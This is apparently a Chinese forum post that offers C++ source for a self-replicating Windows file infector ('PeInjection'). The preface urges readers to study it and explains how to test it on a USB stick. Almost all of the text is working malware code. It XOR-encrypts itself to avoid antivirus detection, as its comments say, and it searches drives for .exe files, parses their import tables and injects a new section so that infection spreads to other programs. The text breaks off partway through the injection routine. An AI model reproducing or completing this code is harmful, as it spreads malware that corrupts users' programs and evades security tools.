两年前写的代码,现在看不懂了,呵呵,想学习软件加壳的可以研究下。再次重申,本代码只供学习研究之用,可以随意传播、发散。但任何人以修改、引用等任何方式对本代码的重新编译运行都是不被允许的的,其后果由编译者自负。
关键字:PE植入,PE注入,加壳代码。
如果阅读者想要尝试编译运行此代码,请务必将所有磁盘内文件夹统统设为隐藏,然后将干净的U盘插入计算机,内附一个可执行程序,然后运行此代码编译生成的应用程序PeInjection.exe。过十秒左右,打开任务管理器,结束“两个”名为PeInjection的进程。请注意,是两个,如果前面手动关掉了一个,则还有一个要通过任务管理器关闭,切记!!然后读者就可以试着运行U盘内的程序了,会使计算机发出“滴”的响声。将U盘内再拷入一个新的应用程序,再运行刚才被感染的程序,会发现新程序也被感染了,呵呵,别忘了编译运行可是后果自负哦。还有别忘了从任务管理器关闭程序!
自己慢慢阅读吧,建议没有读懂之前不要编译运行。希望大家可以学点新知识,如果觉得有用的话。祝阅读愉快!
// PeInjection.cpp : 定义控制台应用程序的入口点。
//
#include "stdafx.h"
/*********************************************************************************************************
第一步:从PE文件获得两个初始API地址的指针,loadlibrary getprocaddress。
第二步:进行自我复制,修改原PE文件,添加节区。重定位程序入口点将被杀毒软件侦测,所以,更改源程序入口点的前面若干字节,并把原始的字节拷贝至添加的节区,
由添加的代码将其拷贝回原处。即,传播代码时将两个代码块交换,运行代码时再换过来。因为要更改可执行代码区,相应节的属性应更改为可写。
首先将原程序入口点若干字节记录,然后,手工编写机器码,模仿初始压栈操作:
先压入添加代码的入口地址,然后压两个初始API地址的指针,以此获得所有相关API。最后压入正常的程序入口点,函数返回后即可正常启动程序。
更改的入口程序块负责跳转至添加的节区。添加的代码负责将被修改的字节拷贝回去。
在母体程序中(以下代码所生成)因为函数代码要修改调用代码,函数调用代码应当放在栈中。
为实现代码的位置无关性,所有API地址均存放于局部变量中。
为防止入口程序块被检测,可考虑将压栈参数适当加密(异或),运行时解密。原程序入口处代码也可以这样处理。
第三步:功能代码。
===============================================================================
编码规范:
为实现代码的位置无关性,只能使用局部变量,字符串以字符形式赋予局部字符数组变量。
所有C++转移控制语句均为相对地址寻址,不必进行重定位。
变量的命名规则:
对于函数指针,_pfunctionname;
对于“全局”变量,g_(type)name;
对于“局部”变量,Sx_(type)varietyname,x为1、2、3等。
局部函数的命名规则:
对于(局部函数)参数,PARMx_(type),x为1、2、3等;RET_(type)。
局部函数(行标号),FNx_functionname,x为1、2、3等。
// 局部函数使用的变量,FNx_(type)varietyname,,x为1、2、3等。
行号命名规则:Sectionx_y。x、y为1、2、3等。
================================================================================
功能划分:
section1 :通过两个初始API查找所有相关API的地址,并赋给相应指针变量。
section2 :分析pe结构,将代码扩散。应当以局部函数的形式实现。接受section3传递来的文件名。
所有局部函数都在此节实现。仅供调用,不顺序执行。
section3 :查找exe文件,调用section2。替换代码块放在此处。
section4 :功能代码,使用pc扬声器播放乐谱。然后实现代码块头的交换,准备返回。
==================================================================================
版本信息:当前版本 2.0 对桩子代码块取反加密。
编译器设置:禁止优化,禁止缓冲区安全检查。
1.0 版本 原始版本,扩散功能由添加代码块执行。
2.0 版本 改进1.0版本,对代码进行加密,运行时解密,防止杀毒软件的扫描查杀。
修正代码:
char rootpath[16];//={"x://*"};直接赋值将导致代码访问常量数据区,这是不被允许的。注射代码没有数据区。
***********************************************************************************************************/
//++++++++++++++++++++++++++++++++++++宏定义区++++++++++++++++++++++++++++++++++++++++++
//为防止调用局部函数破坏原有栈结构,局部函数定义的开始及结束需要调用这两个宏。parameter1的寻址使用ebp而非esp。
#define FUNC_BEGIN __asm pop parameter1
#define FUNC_END __asm push parameter1 /
__asm ret
#define CALL __asm call
//-----------------------------------------------------------------------------------------------
#define STUBSIZE 26//交换代码块的长度。
#define MAXEXESIZE 50000000//仅处理小于50M的exe文件。
#define ENCRYOFFSET 0x24//函数加密段相对于开头的偏移。应当为4的倍数。其值应当大于解密代码段的长度。
#define CODESIZE 0x3300//函数体机器码长度,此定义值大于等于真正的机器码长度,此长度由断点反汇编查看获得。应当为4的倍数。
#define ENCRYSIZEDIVFOUR 0xcb7//(CODESIZE-ENCRYOFFSET)/4
#define _VERSION_TWO //2.0版本对代码进行加密。如果不加密,不定义此宏。
//++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
//parameter1为指向函数LoadLibrary地址的指针;parameter2为指向函数GetProcAddress地址的指针;additionaladdr为添加代码的入口地址。
//如果函数内部栈的使用过大将导致编译器在前面添加对_chkstk绝对地址的调用,这是致命的。
void WINAPI PEInjection(unsigned int *parameter1,unsigned int *parameter2,unsigned int additionaladdr)
{
IN_HEAD://减11为真正的开头。
//加解密因子。用于v2以上版本。
unsigned int g_uEncryption;//=(additionaladdr<<8)+(unsigned int)parameter2;
#ifdef _VERSION_TWO
///*解密代码。用于v2以上版本。代码量过大,使用此段代码需修正ENCRYOFFSET的值。
{
// unsigned int * ptr=(unsigned int *)(additionaladdr+ENCRYOFFSET);
// for(int j=0;j<ENCRYSIZEDIVFOUR;j++,ptr++)
// {
// *ptr=*ptr^g_uEncryption;
// }
__asm//优化代码。
{
mov ebx,additionaladdr;
shl ebx,8;
add ebx,parameter2;
mov eax,additionaladdr;
add eax,ENCRYOFFSET;
mov ecx,ENCRYSIZEDIVFOUR;
ENCRYLOOP:
xor dword ptr[eax],ebx;
add eax,4;
loop ENCRYLOOP;
}
}
//*/
#endif
//全局变量定义区
char* g_ptrStubLocation;
unsigned int const g_uCodeFullSize=CODESIZE;
//局部函数参数定义区
char PARM1_char[512];//={'e',':','//','a','.','E','X','e','/0'};
//将函数地址还原
parameter1=(unsigned int*)((unsigned int)parameter1^additionaladdr);
parameter2=(unsigned int*)((unsigned int)parameter2^additionaladdr);
//=======================================================================================================
//section1 :通过两个初始API查找所有相关API的地址,并赋给相应指针变量。
//
//=======================================================================================================
HMODULE S1_hmod;
bool S1_bIsAscii=true;//标注参数1是ascii码字符集还是宽字符集。
if((unsigned int)parameter1&0x80000000)
S1_bIsAscii=false;
typedef HMODULE (WINAPI* PFNLoadLibrary)( LPCTSTR pFileName );
PFNLoadLibrary _pLoadLibrary;
if(!S1_bIsAscii)
parameter1=(unsigned int*)((unsigned int)parameter1&0x7fffffff);
_pLoadLibrary=(PFNLoadLibrary)*parameter1;
typedef FARPROC (WINAPI* PFNGetProcAddress)( HMODULE hModule, LPCSTR lpProcName);
PFNGetProcAddress _pGetProcAddress=(PFNGetProcAddress)*parameter2;
//---------------------------------------以下代码用于获得 msvcrt.dll 中所需的函数地址。---------------------------------------
//_pstrcmp 指向函数 strcmp 。
//_pmalloc 指向函数 malloc 。
//_pfree 指向函数 free 。
//_pmemcpy 指向函数 memcpy 。
//_pstrcpy 指向函数 strcpy 。
//_pmemset 指向函数 memset 。
//_pstrupr 指向函数 _strupr 。
//_pgetdrives 指向函数 _getdrives 。
//_pstrlen 指向函数 strlen 。
//_pstrcat 指向函数 strcat 。
//
if(S1_bIsAscii)
{
char S1_strLibraryMSVCRT[16]={'m','s','v','c','r','t','.','d','l','l','/0'};
S1_hmod=(*_pLoadLibrary)(S1_strLibraryMSVCRT);
}
else
{
__wchar_t S1_strLibraryMSVCRT[16]={'m','s','v','c','r','t','.','d','l','l','/0'};
S1_hmod=(*_pLoadLibrary)((LPCTSTR)S1_strLibraryMSVCRT);
}
//_pstrcmp 指向函数 strcmp 。
char S1_func_strcmp[16]={'s','t','r','c','m','p','/0'};
typedef int (WINAPI* PFNstrcmp)( const char *string1, const char *string2 );
PFNstrcmp _pstrcmp;
_pstrcmp=(PFNstrcmp)(*_pGetProcAddress)(S1_hmod,S1_func_strcmp);
//_pmalloc 指向函数 malloc 。
char S1_func_malloc[16]={'m','a','l','l','o','c','/0'};
typedef void* (WINAPI* PFNmalloc)( size_t size );
PFNmalloc _pmalloc;
_pmalloc=(PFNmalloc)(*_pGetProcAddress)(S1_hmod,S1_func_malloc);
//_pfree 指向函数 free 。
char S1_func_free[16]={'f','r','e','e','/0'};
typedef void (WINAPI* PFNfree)( void *memblock );
PFNfree _pfree;
_pfree=(PFNfree)(*_pGetProcAddress)(S1_hmod,S1_func_free);
//_pmemcpy 指向函数 memcpy 。
char S1_func_memcpy[16]={'m','e','m','c','p','y','/0'};
typedef void* (WINAPI* PFNmemcpy)( void *dest, const void *src, size_t count );
PFNmemcpy _pmemcpy;
_pmemcpy=(PFNmemcpy)(*_pGetProcAddress)(S1_hmod,S1_func_memcpy);
//_pstrcpy 指向函数 strcpy 。
char S1_func_strcpy[16]={'s','t','r','c','p','y','/0'};
typedef char* (WINAPI* PFNstrcpy)( char *strDestination, const char *strSource );
PFNstrcpy _pstrcpy;
_pstrcpy=(PFNstrcpy)(*_pGetProcAddress)(S1_hmod,S1_func_strcpy);
//_pmemset 指向函数 memset 。
char S1_func_memset[16]={'m','e','m','s','e','t','/0'};
typedef void* (WINAPI* PFNmemset)( void *dest, int c, size_t count );
PFNmemset _pmemset;
_pmemset=(PFNmemset)(*_pGetProcAddress)(S1_hmod,S1_func_memset);
//_pstrupr 指向函数 _strupr 。
char S1_func_strupr[16]={'_','s','t','r','u','p','r','/0'};
typedef char* (WINAPI* PFNstrupr)( char *string );
PFNstrupr _pstrupr;
_pstrupr=(PFNstrupr)(*_pGetProcAddress)(S1_hmod,S1_func_strupr);
//_pgetdrives 指向函数 _getdrives 。
char S1_func_getdrives[16]={'_','g','e','t','d','r','i','v','e','s','/0'};
typedef unsigned long (WINAPI* PFNgetdrives)();
PFNgetdrives _pgetdrives;
_pgetdrives=(PFNgetdrives)(*_pGetProcAddress)(S1_hmod,S1_func_getdrives);
//_pstrlen 指向函数 strlen 。
char S1_func_strlen[16]={'s','t','r','l','e','n','/0'};
typedef size_t (WINAPI* PFNstrlen)( const char *string );
PFNstrlen _pstrlen;
_pstrlen=(PFNstrlen)(*_pGetProcAddress)(S1_hmod,S1_func_strlen);
//_pstrcat 指向函数 strcat 。
char S1_func_strcat[16]={'s','t','r','c','a','t','/0'};
typedef char* (WINAPI* PFNstrcat)( char *strDestination, const char *strSource );
PFNstrcat _pstrcat;
_pstrcat=(PFNstrcat)(*_pGetProcAddress)(S1_hmod,S1_func_strcat);
//---------------------------------------以下代码用于获得 Dbghelp.dll 中所需的函数地址。---------------------------------------
//_pImageRvaToSection 指向函数 ImageRvaToSection 。
//
if(S1_bIsAscii)
{
char S1_strLibraryDbghelp[16]={'D','b','g','h','e','l','p','.','d','l','l','/0'};
S1_hmod=(*_pLoadLibrary)(S1_strLibraryDbghelp);
}
else
{
__wchar_t S1_strLibraryDbghelp[16]={'D','b','g','h','e','l','p','.','d','l','l','/0'};
S1_hmod=(*_pLoadLibrary)((LPCTSTR)S1_strLibraryDbghelp);
}
//_pImageRvaToSection 指向函数 ImageRvaToSection 。
char S1_func_ImageRvaToSection[32]={'I','m','a','g','e','R','v','a','T','o','S','e','c','t','i','o','n','/0'};
typedef PIMAGE_SECTION_HEADER (WINAPI* PFNImageRvaToSection)( PIMAGE_NT_HEADERS NtHeaders, PVOID Base, ULONG Rva);
PFNImageRvaToSection _pImageRvaToSection;
_pImageRvaToSection=(PFNImageRvaToSection)(*_pGetProcAddress)(S1_hmod,S1_func_ImageRvaToSection);
//---------------------------------------以下代码用于获得 shell32.dll 中所需的函数地址。---------------------------------------
//_pImageRvaToSection 指向函数 ImageRvaToSection 。
//
if(S1_bIsAscii)
{
char S1_strLibraryShell32[16]={'s','h','e','l','l','3','2','.','d','l','l','/0'};
S1_hmod=(*_pLoadLibrary)(S1_strLibraryShell32);
}
else
{
__wchar_t S1_strLibraryShell32[16]={'s','h','e','l','l','3','2','.','d','l','l','/0'};
S1_hmod=(*_pLoadLibrary)((LPCTSTR)S1_strLibraryShell32);
}
//_pShellExecute 指向函数 ShellExecute 。
char S1_func_ShellExecute[32]={'S','h','e','l','l','E','x','e','c','u','t','e','A','/0'};
typedef HINSTANCE (WINAPI* PFNShellExecute)( HWND hwnd, LPCTSTR lpOperation, LPCTSTR lpFile, LPCTSTR lpParameters, LPCTSTR lpDirectory, INT nShowCmd);
PFNShellExecute _pShellExecute;
_pShellExecute=(PFNShellExecute)(*_pGetProcAddress)(S1_hmod,S1_func_ShellExecute);
//---------------------------------------以下代码用于获得 User32.dll 中所需的函数地址。---------------------------------------
//_pFindWindow 指向函数 FindWindow 。
//
if(S1_bIsAscii)
{
char S1_strLibraryUser32[16]={'U','s','e','r','3','2','.','d','l','l','/0'};
S1_hmod=(*_pLoadLibrary)(S1_strLibraryUser32);
}
else
{
__wchar_t S1_strLibraryUser32[16]={'U','s','e','r','3','2','.','d','l','l','/0'};
S1_hmod=(*_pLoadLibrary)((LPCTSTR)S1_strLibraryUser32);
}
//_pFindWindow 指向函数 FindWindow 。
char S1_func_FindWindow[32]={'F','i','n','d','W','i','n','d','o','w','A','/0'};
typedef HWND (WINAPI* PFNFindWindow)( LPCTSTR lpClassName, LPCTSTR lpWindowName);
PFNFindWindow _pFindWindow;
_pFindWindow=(PFNFindWindow)(*_pGetProcAddress)(S1_hmod,S1_func_FindWindow);
//---------------------------------------以下代码用于获得 Kernel32.dll 中所需的函数地址。---------------------------------------
//_pCreateFile 指向函数 CreateFile 。
//_pCloseHandle 指向函数 CloseHandle 。
//_pReadFile 指向函数 ReadFile 。
//_pWriteFile 指向函数 WriteFile 。
//_pSetFilePointer 指向函数 SetFilePointer 。
//_pBeep 指向函数 Beep 。
//_pFindFirstFile 指向函数 FindFirstFile 。
//_pFindNextFile 指向函数 FindNextFile 。
//_pGetDriveType 指向函数 GetDriveType 。
//_pGetTickCount 指向函数 GetTickCount 。
//_pCreateEvent 指向函数 CreateEvent 。
//_pOpenEvent 指向函数 OpenEvent 。
//_pWaitForSingleObject 指向函数 WaitForSingleObject 。
//_pSetEvent 指向函数 SetEvent 。
//_pGetModuleFileName 指向函数 GetModuleFileName 。
//_pExitProcess 指向函数 ExitProcess 。
//_pSleep 指向函数 Sleep 。
//
if(S1_bIsAscii)
{
char S1_strLibraryKernel32[16]={'K','e','r','n','e','l','3','2','.','d','l','l','/0'};
S1_hmod=(*_pLoadLibrary)(S1_strLibraryKernel32);
}
else
{
__wchar_t S1_strLibraryKernel32[16]={'K','e','r','n','e','l','3','2','.','d','l','l','/0'};
S1_hmod=(*_pLoadLibrary)((LPCTSTR)S1_strLibraryKernel32);
}
//_pCreateFile 指向函数 CreateFile 。
char S1_func_CreateFile[32]={'C','r','e','a','t','e','F','i','l','e','A','/0'};
typedef HANDLE (WINAPI* PFNCreateFile)( LPCTSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes,
DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile);
PFNCreateFile _pCreateFile;
_pCreateFile=(PFNCreateFile)(*_pGetProcAddress)(S1_hmod,S1_func_CreateFile);
//_pCloseHandle 指向函数 CloseHandle 。
char S1_func_CloseHandle[32]={'C','l','o','s','e','H','a','n','d','l','e','/0'};
typedef BOOL (WINAPI* PFNCloseHandle)( HANDLE hObject);
PFNCloseHandle _pCloseHandle;
_pCloseHandle=(PFNCloseHandle)(*_pGetProcAddress)(S1_hmod,S1_func_CloseHandle);
//_pReadFile 指向函数 ReadFile 。
char S1_func_ReadFile[32]={'R','e','a','d','F','i','l','e','/0'};
typedef BOOL (WINAPI* PFNReadFile)( HANDLE hFile, LPVOID lpBuffer, DWORD nNumberOfBytesToRead, LPDWORD lpNumberOfBytesRead, LPOVERLAPPED lpOverlapped);
PFNReadFile _pReadFile;
_pReadFile=(PFNReadFile)(*_pGetProcAddress)(S1_hmod,S1_func_ReadFile);
//_pWriteFile 指向函数 WriteFile 。
char S1_func_WriteFile[32]={'W','r','i','t','e','F','i','l','e','/0'};
typedef BOOL (WINAPI* PFNWriteFile)( HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite, LPDWORD lpNumberOfBytesWritten, LPOVERLAPPED lpOverlapped);
PFNWriteFile _pWriteFile;
_pWriteFile=(PFNWriteFile)(*_pGetProcAddress)(S1_hmod,S1_func_WriteFile);
//_pSetFilePointer 指向函数 SetFilePointer 。
char S1_func_SetFilePointer[32]={'S','e','t','F','i','l','e','P','o','i','n','t','e','r','/0'};
typedef DWORD (WINAPI* PFNSetFilePointer)( HANDLE hFile, LONG lDistanceToMove, PLONG lpDistanceToMoveHigh, DWORD dwMoveMethod);
PFNSetFilePointer _pSetFilePointer;
_pSetFilePointer=(PFNSetFilePointer)(*_pGetProcAddress)(S1_hmod,S1_func_SetFilePointer);
//_pBeep 指向函数 Beep 。
char S1_func_Beep[32]={'B','e','e','p','/0'};
typedef BOOL (WINAPI* PFNBeep)( DWORD dwFreq, DWORD dwDuration);
PFNBeep _pBeep;
_pBeep=(PFNBeep)(*_pGetProcAddress)(S1_hmod,S1_func_Beep);
//_pFindFirstFile 指向函数 FindFirstFile 。
char S1_func_FindFirstFile[32]={'F','i','n','d','F','i','r','s','t','F','i','l','e','A','/0'};
typedef HANDLE (WINAPI* PFNFindFirstFile) ( LPCTSTR lpFileName, LPWIN32_FIND_DATA lpFindFileData);
PFNFindFirstFile _pFindFirstFile;
_pFindFirstFile=(PFNFindFirstFile)(*_pGetProcAddress)(S1_hmod,S1_func_FindFirstFile);
//_pFindNextFile 指向函数 FindNextFile 。
char S1_func_FindNextFile[32]={'F','i','n','d','N','e','x','t','F','i','l','e','A','/0'};
typedef BOOL (WINAPI* PFNFindNextFile)( HANDLE hFindFile, LPWIN32_FIND_DATA lpFindFileData);
PFNFindNextFile _pFindNextFile;
_pFindNextFile=(PFNFindNextFile)(*_pGetProcAddress)(S1_hmod,S1_func_FindNextFile);
//_pGetDriveType 指向函数 GetDriveType 。
char S1_func_GetDriveType[32]={'G','e','t','D','r','i','v','e','T','y','p','e','A','/0'};
typedef UINT (WINAPI* PFNGetDriveType)( LPCTSTR lpRootPathName);
PFNGetDriveType _pGetDriveType;
_pGetDriveType=(PFNGetDriveType)(*_pGetProcAddress)(S1_hmod,S1_func_GetDriveType);
//_pGetTickCount 指向函数 GetTickCount 。
char S1_func_GetTickCount[32]={'G','e','t','T','i','c','k','C','o','u','n','t','/0'};
typedef DWORD (WINAPI* PFNGetTickCount)(void);
PFNGetTickCount _pGetTickCount;
_pGetTickCount=(PFNGetTickCount)(*_pGetProcAddress)(S1_hmod,S1_func_GetTickCount);
//_pCreateEvent 指向函数 CreateEvent 。
char S1_func_CreateEvent[32]={'C','r','e','a','t','e','E','v','e','n','t','A','/0'};
typedef HANDLE (WINAPI* PFNCreateEvent)( LPSECURITY_ATTRIBUTES lpEventAttributes, BOOL bManualReset, BOOL bInitialState, LPCTSTR lpName);
PFNCreateEvent _pCreateEvent;
_pCreateEvent=(PFNCreateEvent)(*_pGetProcAddress)(S1_hmod,S1_func_CreateEvent);
//_pOpenEvent 指向函数 OpenEvent 。
char S1_func_OpenEvent[32]={'O','p','e','n','E','v','e','n','t','A','/0'};
typedef HANDLE (WINAPI* PFNOpenEvent)( DWORD dwDesiredAccess, BOOL bInheritHandle, LPCTSTR lpName);
PFNOpenEvent _pOpenEvent;
_pOpenEvent=(PFNOpenEvent)(*_pGetProcAddress)(S1_hmod,S1_func_OpenEvent);
//_pWaitForSingleObject 指向函数 WaitForSingleObject 。
char S1_func_WaitForSingleObject[32]={'W','a','i','t','F','o','r','S','i','n','g','l','e','O','b','j','e','c','t','/0'};
typedef DWORD (WINAPI* PFNWaitForSingleObject) ( HANDLE hHandle, DWORD dwMilliseconds);
PFNWaitForSingleObject _pWaitForSingleObject;
_pWaitForSingleObject=(PFNWaitForSingleObject)(*_pGetProcAddress)(S1_hmod,S1_func_WaitForSingleObject);
//_pSetEvent 指向函数 SetEvent 。
char S1_func_SetEvent[32]={'S','e','t','E','v','e','n','t','/0'};
typedef BOOL (WINAPI* PFNSetEvent)( HANDLE hEvent);
PFNSetEvent _pSetEvent;
_pSetEvent=(PFNSetEvent)(*_pGetProcAddress)(S1_hmod,S1_func_SetEvent);
//_pGetModuleFileName 指向函数 GetModuleFileName 。
char S1_func_GetModuleFileName[32]={'G','e','t','M','o','d','u','l','e','F','i','l','e','N','a','m','e','A','/0'};
typedef DWORD (WINAPI* PFNGetModuleFileName)( HMODULE hModule, LPTSTR lpFilename, DWORD nSize);
PFNGetModuleFileName _pGetModuleFileName;
_pGetModuleFileName=(PFNGetModuleFileName)(*_pGetProcAddress)(S1_hmod,S1_func_GetModuleFileName);
//_pExitProcess 指向函数 ExitProcess 。
char S1_func_ExitProcess[32]={'E','x','i','t','P','r','o','c','e','s','s','/0'};
typedef void (WINAPI* PFNExitProcess)( UINT uExitCode);
PFNExitProcess _pExitProcess;
_pExitProcess=(PFNExitProcess)(*_pGetProcAddress)(S1_hmod,S1_func_ExitProcess);
//_pSleep 指向函数 Sleep 。
char S1_func_Sleep[32]={'S','l','e','e','p','/0'};
typedef void (WINAPI* PFNSleep)( DWORD dwMilliseconds);
PFNSleep _pSleep;
_pSleep=(PFNSleep)(*_pGetProcAddress)(S1_hmod,S1_func_Sleep);
goto Section3_Begin;
//=======================================================================================================
//section2 :分析pe结构,将代码扩散。应当以局部函数的形式实现。接受section3传递来的文件名。
// 所有局部函数都在此节实现。仅供调用,不顺序执行。
//=======================================================================================================
//--------------局部函数FN1_PEInjection-------------------
//接受文件名路径参数 PARM1_char ,实现PE植入。
//
//--------------------------------------------------------
FN1_PEInjection:
FUNC_BEGIN
{
_pSleep(200);
//首先检测文件后缀的合法性。
DWORD temp=_pstrlen(PARM1_char);
if(temp<5) goto S2_FN1_RET;
if(!( (PARM1_char[temp-1]=='e' || PARM1_char[temp-1]=='E') &&
(PARM1_char[temp-2]=='x' || PARM1_char[temp-2]=='X') &&
(PARM1_char[temp-3]=='e' || PARM1_char[temp-3]=='E') &&
(PARM1_char[temp-4]=='.') ) )
goto S2_FN1_RET;
char* pImageBase;//文件映像基址。
DWORD dwImageSize=0;//文件大小。
unsigned int addrLoadLibraryA=0,addrLoadLibraryW=0,addrGetProcAddress=0;//两个重要函数的地址
char chLoadLibraryA[16]={'L','o','a','d','L','i','b','r','a','r','y','A','/0'};
char chLoadLibraryW[16]={'L','o','a','d','L','i','b','r','a','r','y','W','/0'};
char chGetProcAddress[16]={'G','e','t','P','r','o','c','A','d','d','r','e','s','s','/0'};
char chKernel32[16]={'K','E','R','N','E','L','3','2','.','D','L','L','/0'};
char chLibraryName[64];
char chSectionName[8]={'.','s','i','t','h','/0'};
unsigned int* paddr;
unsigned int CodeAlignSize;//函数体机器码对齐后的长度
char bitStub[STUBSIZE]={ 0x68,00,00,00,00,//push 0x00000000;参数3,[+1]定位
0x68,00,00,00,00,//push 0x00000000;参数2,[+6]定位
0x68,00,00,00,00,//push 0x00000000;参数1,[+11]定位
0x68,00,00,00,00,//push 0x00000000;返回地址,[+16]定位
0x8B,0x44,0x24,0x0C,//mov eax,dword ptr [esp+12];
0xFF,0xE0 }; //jmp eax;
//分配内存,打开文件。
pImageBase=(char*)_pmalloc(MAXEXESIZE+1000000);//多分配内存用于添加处理。
if(pImageBase==NULL)
{
_pfree(pImageBase);
goto S2_FN1_RET;
}
_pmemset(pImageBase,0,MAXEXESIZE+1000000);
const HANDLE hfile=_pCreateFile(PARM1_char , FILE_READ_DATA|FILE_WRITE_DATA , FILE_SHARE_READ|FILE_SHARE_WRITE , 0 , OPEN_EXISTING,FILE_FLAG_SEQUENTIAL_SCAN , 0 );
if(hfile==INVALID_HANDLE_VALUE)
goto S2_FN1_END;
_pReadFile(hfile,pImageBase,MAXEXESIZE,&dwImageSize,0);
//仅处理较小的文件,太大的文件不处理。
if(dwImageSize<MAXEXESIZE&&dwImageSize>1000)
{
IMAGE_DOS_HEADER* doshead=(IMAGE_DOS_HEADER*)pImageBase;//dos头
if(doshead->e_magic!=IMAGE_DOS_SIGNATURE)
goto S2_FN1_END;
IMAGE_NT_HEADERS* pehead=(IMAGE_NT_HEADERS*)(pImageBase+doshead->e_lfanew);//PE头
if((char*)pehead<pImageBase||(char*)pehead>(pImageBase+dwImageSize))
goto S2_FN1_END;
if(pehead->Signature!=IMAGE_NT_SIGNATURE)
goto S2_FN1_END;
IMAGE_FILE_HEADER* filehead=&pehead->FileHeader;
IMAGE_OPTIONAL_HEADER32* optionalhead=&(pehead->OptionalHeader);
IMAGE_DATA_DIRECTORY* datadir=optionalhead->DataDirectory;//数据目录表指针,第二项为输入表
datadir++;//现在指向输入表。
PIMAGE_SECTION_HEADER sectionheader,sectionheader1;
//检测文件是否已被植入。
sectionheader=(PIMAGE_SECTION_HEADER)(pehead+1);//节表首地址指针。
for(int numofsection= 0; numofsection<filehead->NumberOfSections;numofsection++)
{
if(!_pstrcmp((char*)sectionheader->Name,chSectionName))
goto S2_FN1_END;
sectionheader++;
}
// if(optionalhead->ImageBase&0x01000000)//system32文件的加载地址,即使植入也没用,系统会自动复原文件。可以植入Windows Media Player,留着吧。
// goto S2_FN1_END;
sectionheader=_pImageRvaToSection(pehead,(void*)pImageBase,datadir->VirtualAddress);//输入表所在节区的节表指针。
IMAGE_IMPORT_DESCRIPTOR* importdescriptor=(IMAGE_IMPORT_DESCRIPTOR*)(datadir->VirtualAddress-
sectionheader->VirtualAddress+sectionheader->PointerToRawData+pImageBase);//输入表在内存中的指针。
//循环查询各个导入库,查找kernel.dll库内的两个重要函数的地址指针。
while(importdescriptor->FirstThunk||importdescriptor->OriginalFirstThunk||importdescriptor->Name)
{
sectionheader=_pImageRvaToSection(pehead,(void*)pImageBase,importdescriptor->Name);//importdescriptor->Name所在节区的节表指针。
_pstrcpy( chLibraryName,importdescriptor->Name-sectionheader->VirtualAddress+sectionheader->PointerToRawData+pImageBase);
_pstrupr(chLibraryName);
if(!_pstrcmp( chKernel32 ,chLibraryName))//比较导入库的名称,仅对Kernel32.dll库进行处理。
{
IMAGE_THUNK_DATA *firstthunk,*orgfirstthunk;
firstthunk=(IMAGE_THUNK_DATA *)(importdescriptor->FirstThunk);//RVA值
if(importdescriptor->OriginalFirstThunk)
{
sectionheader=_pImageRvaToSection(pehead,(void*)pImageBase,importdescriptor->OriginalFirstThunk);//importdescriptor->OriginalFirstThunk所在节区的节表指针。
orgfirstthunk=(IMAGE_THUNK_DATA *)((importdescriptor->OriginalFirstThunk-sectionheader->VirtualAddress+
sectionheader->PointerToRawData)+pImageBase);//内存地址
}
else//orgfirstthunk 为零,使用firstthunk李代桃僵。
{
sectionheader=_pImageRvaToSection(pehead,(void*)pImageBase,importdescriptor->FirstThunk);//importdescriptor->FirstThunk所在节区的节表指针。
orgfirstthunk=(IMAGE_THUNK_DATA *)((importdescriptor->FirstThunk-sectionheader->VirtualAddress+
sectionheader->PointerToRawData)+pImageBase);//内存地址
}
while(orgfirstthunk->u1.AddressOfData)//循环查询Kernel32.dll内部的函数名
{
if(!((orgfirstthunk->u1.ForwarderString)&0x80000000))
{
sectionheader=_pImageRvaToSection(pehead,(void*)pImageBase,orgfirstthunk->u1.ForwarderString);//importdescriptor->OriginalFirstThunk所在节区的节表指针。
IMAGE_IMPORT_BY_NAME* imname=(IMAGE_IMPORT_BY_NAME*)(orgfirstthunk->u1.ForwarderString-
sectionheader->VirtualAddress+sectionheader->PointerToRawData+pImageBase);//导入函数的名字。
if(!_pstrcmp((char*)&(imname->Name),chLoadLibraryA))
{
addrLoadLibraryA=(int)firstthunk;
}
if(!_pstrcmp((char*)&(imname->Name),chLoadLibraryW))
{
addrLoadLibraryW=(int)firstthunk;
}
if(!_pstrcmp((char*)&(imname->Name),chGetProcAddress))
{
addrGetProcAddress=(int)firstthunk;
}
}
orgfirstthunk++;
firstthunk++;
}
}
importdescriptor++;
}//完成 循环查询各个导入库 此时已得到两个重要函数的RVA值。
if(addrLoadLibraryA==0&&addrLoadLibraryW==0)
goto S2_FN1_END;
if(addrGetProcAddress==0)
goto S2_FN1_END;
if(addrLoadLibraryA!=0)
{
addrLoadLibraryA+=optionalhead->ImageBase;//函数LoadLibraryA加载地址的指针。
}
else
{
addrLoadLibraryW+=optionalhead->ImageBase;//函数LoadLibraryW加载地址的指针。
addrLoadLibraryW=addrLoadLibraryW|0x80000000;
}
addrGetProcAddress+=optionalhead->ImageBase;//函数GetProcAddress加载地址的指针。
//开始对文件进行更改处理。
//1、需要更改原PE文件入口处代码,修改节表属性为可写。
//2、添加新的节区及节表,将代码注入。
//3、修改原PE头内相应数据。
//添加新的节表
sectionheader=(PIMAGE_SECTION_HEADER)(pehead+1);//节表首地址指针。
sectionheader+=filehead->NumberOfSections;//新节表地址指针。
sectionheader1=sectionheader-1;//老表最后一个节表指针。
unsigned int align;
sectionheader->Name[0]='.';
sectionheader->Name[1]='s';
sectionheader->Name[2]='i';
sectionheader->Name[3]='t';
sectionheader->Name[4]='h';
sectionheader->Name[5]='/0';
sectionheader->Characteristics=0xE0000020;//ok
align=sectionheader1->SizeOfRawData%optionalhead->FileAlignment;
if(align)
align=sectionheader1->SizeOfRawData+optionalhead->FileAlignment-align;
else
align=sectionheader1->SizeOfRawData;
sectionheader->PointerToRawData=sectionheader1->PointerToRawData+align;//ok
sectionheader->Misc.VirtualSize=g_uCodeFullSize;//ok
align=g_uCodeFullSize%optionalhead->FileAlignment;
if(align)
align=g_uCodeFullSize+optionalhead->FileAlignment-align;
else
align=g_uCodeFullSize;
sectionheader->SizeOfRawData=align;//ok
//添加代码进行对齐后的长度。
CodeAlignSize=align;
align=sectionheader1->Misc.VirtualSize%optionalhead->SectionAlignment;
if(align)
align=sectionheader1->Misc.VirtualSize+optionalhead->SectionAlignment-align;
else
align=sectionheader1->Misc.VirtualSize;
sectionheader->VirtualAddress=sectionheader1->VirtualAddress+align;//ok
//处理新的程序头
